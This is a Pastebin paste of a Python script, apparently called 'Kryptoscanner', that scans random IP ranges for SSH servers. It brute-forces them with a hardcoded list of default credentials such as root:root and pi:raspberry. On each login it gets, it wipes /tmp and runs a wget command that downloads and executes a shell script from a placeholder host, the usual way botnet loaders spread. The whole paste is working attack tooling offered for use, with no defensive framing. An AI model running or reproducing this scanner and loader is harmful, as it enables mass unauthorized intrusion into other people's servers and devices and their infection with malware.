Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # coding: utf-8
- #!/usr/bin/env python
- import threading, paramiko, random, socket, time, sys
- print (' ██ ▄█▀ ██▀███ ▓██ ██▓ ██▓███ ▄▄▄█████▓ ▒█████ ██████ ▄████▄ ▄▄▄ ███▄ █ ███▄ █ ▓█████ ██▀███ ')
- print (' ██▄█▒ ▓██ ▒ ██▒▒██ ██▒▓██░ ██▒▓ ██▒ ▓▒▒██▒ ██▒ ▒██ ▒ ▒██▀ ▀█ ▒████▄ ██ ▀█ █ ██ ▀█ █ ▓█ ▀ ▓██ ▒ ██▒')
- print (' ▓███▄░ ▓██ ░▄█ ▒ ▒██ ██░▓██░ ██▓▒▒ ▓██░ ▒░▒██░ ██▒ ░ ▓██▄ ▒▓█ ▄ ▒██ ▀█▄ ▓██ ▀█ ██▒▓██ ▀█ ██▒▒███ ▓██ ░▄█ ▒')
- print (' ▓██ █▄ ▒██▀▀█▄ ░ ▐██▓░▒██▄█▓▒ ▒░ ▓██▓ ░ ▒██ ██░ ▒ ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒ ▐▌██▒▓██▒ ▐▌██▒▒▓█ ▄ ▒██▀▀█▄ ')
- print (' ▒██▒ █▄░██▓ ▒██▒ ░ ██▒▓░▒██▒ ░ ░ ▒██▒ ░ ░ ████▓▒░ ▒██████▒▒▒ ▓███▀ ░ ▓█ ▓██▒▒██░ ▓██░▒██░ ▓██░░▒████▒░██▓ ▒██▒')
- print (' ▒ ▒▒ ▓▒░ ▒▓ ░▒▓░ ██▒▒▒ ▒▓▒░ ░ ░ ▒ ░░ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░ ▒░ ▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░')
- print (' ░ ░▒ ▒░ ░▒ ░ ▒░▓██ ░▒░ ░▒ ░ ░ ░ ▒ ▒░ ░ ░▒ ░ ░ ░ ▒ ▒ ▒▒ ░░ ░░ ░ ▒░░ ░░ ░ ▒░ ░ ░ ░ ░▒ ░ ▒░')
- print (' ░ ░░ ░ ░░ ░ ▒ ▒ ░░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ')
- print (' ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ')
- print (' ░ ░ ░ ')
- print ('Credit to Kappa MoDz & Lord GuRu')
- paramiko.util.log_to_file("Krypto.log")
- blacklist = [
- '127'
- ]
- passwords = [
- "root:root",
- "root:admin",
- "admin:admin",
- "ubnt:ubnt"
- "root:1234",
- "admin:1234",
- "guest:guest",
- "user:user",
- "test:test",
- "pi:raspberry",
- "vagrant:vagrant",
- "root:toor",
- "root:admin",
- "root:1234",
- "root:maxided",
- "root:pi",
- "root:alpine",
- "root:r00tnull3d",
- "root:r00tnull3d#",
- "root:rootnull3d#",
- "root:password",
- "root:centos6svm",
- "root:1234",
- "root:123456",
- "root:Love2020",
- "root:Zero",
- "root:Password",
- "root:password",
- "root:qwerty",
- "root:dragon",
- "root:pussy",
- "root:baseball",
- "root:football",
- "root:monkey",
- "root:696969",
- "root:abc123"
- "admin:admin",
- "admin:1234",
- "admin:Guest",
- "ubnt:ubnt",
- "guest:guest",
- "user:user",
- "test:test",
- "pi:raspberry",
- "vagrant:vagrant",
- "localhost:root",
- "B1NARY:B1NARY",
- "tim:tim",
- "CISCO:CISCO",
- "netgear"
- "support:support",
- "oracle:oracle",
- "cusadmin:password",
- ]
- if sys.argv[4] == '1':
- passwords = ["root:root", "root:admin", "admin:1234"]
- jackmeoff = random.choice(["start exploiting!"])
- raw_input('Press <ENTER> To '+jackmeoff)
- ipclassinfo = sys.argv[2]
- if ipclassinfo == "A":
- ip1 = sys.argv[3]
- elif ipclassinfo == "B":
- ip1 = sys.argv[3].split(".")[0]
- ip2 = sys.argv[3].split(".")[1]
- elif ipclassinfo == "C":
- ips = sys.argv[3].split(".")
- num=0
- for ip in ips:
- num=num+1
- if num == 1:
- ip1 = ip
- elif num == 2:
- ip2 = ip
- elif num == 3:
- ip3 = ip
- class sshscanner(threading.Thread):
- global passwords
- global ipclassinfo
- if ipclassinfo == "A":
- global ip1
- elif ipclassinfo == "B":
- global ip1
- global ip2
- elif ipclassinfo == "C":
- global ip1
- global ip2
- global ip3
- def run(self):
- while 1:
- try:
- while 1:
- thisipisbad='no'
- if ipclassinfo == "A":
- self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "B":
- self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "C":
- self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "BRAZIL":
- br = [Range Here]
- self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "VPS":
- yeet = [Range Here]
- self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "LUCKY":
- lucky = [Range Here]
- self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "LUCKY2":
- lucky2 = [Range Here]
- self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "RAND":
- self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "INTERNET":
- lol = [Range Here]
- self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- else:
- self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- for badip in blacklist:
- if badip in self.host:
- thisipisbad='yes'
- if thisipisbad=='no':
- break
- username='root'
- password=""
- port = 22
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
- s.connect((self.host, port))
- s.close()
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- dobreak=False
- for passwd in passwords:
- if ":n/a" in passwd:
- password=""
- else:
- password=passwd.split(":")[1]
- if "n/a:" in passwd:
- username=""
- else:
- username=passwd.split(":")[0]
- try:
- ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
- dobreak=True
- break
- except:
- pass
- if True == dobreak:
- break
- badserver=True
- stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
- output = stdout.read()
- if "inet addr" in output:
- badserver=False
- if badserver == False:
- print '\x1b[0;35mFound -> Exploiting -> SSH -> Joined \x1b[0;32m'+self.host+' \x1b[0;36m'+username+' \x1b[0;35m'+password+' \x1b[0;32m'+str(port)
- ssh.exec_command("cd /tmp; rm -rf *; wget -q http://iphere/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *\r\n")
- time.sleep(20)
- ssh.close()
- except:
- pass
- for x in range(0,int(sys.argv[1])):
- try:
- t = sshscanner()
- t.start()
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement